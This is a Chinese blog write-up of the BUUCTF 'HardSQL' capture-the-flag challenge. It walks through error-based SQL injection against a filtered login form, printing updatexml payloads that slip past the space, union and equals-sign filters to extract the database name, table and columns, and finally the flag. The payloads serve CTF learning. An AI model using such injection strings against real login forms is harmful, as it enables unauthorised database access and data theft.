[BUUCTF刷题]HardSQL

最新推荐文章于 2024-07-22 11:00:07 发布

marsxu626

最新推荐文章于 2024-07-22 11:00:07 发布

阅读量2k

点赞数 1

分类专栏： buuctf刷题

本文链接：https://blog.csdn.net/weixin_43952190/article/details/107096009

版权

buuctf刷题专栏收录该内容

8 篇文章 0 订阅

订阅专栏

HardSQL

进入后是sql注入页面，过滤了一些字符，先进行fuzz测试。
发现过滤了union，双写也无法绕过，所以不能使用常规的方法进行注入。但发现没有过滤extractvalue和updatexml。
也过滤了空格，使用括号绕过。

首先，注数据库名称

username=admin'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=1

在这里插入图片描述

然后得到表名(过滤=,使用like)

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

在这里插入图片描述
表名：H4rDsq1

得到H4rDsq1的字段名。

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))%23&password=1

在这里插入图片描述
得到字段名：id,username,password;

获取用户名和密码

	username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1

在这里插入图片描述
只出现了一部分flag。

使用left()和right()左右进行拼接

username=admin’or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1
username=admin’or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

在这里插入图片描述

得到flag：
flag{b281390b-acf4-4c74-8450-6ae768d24655}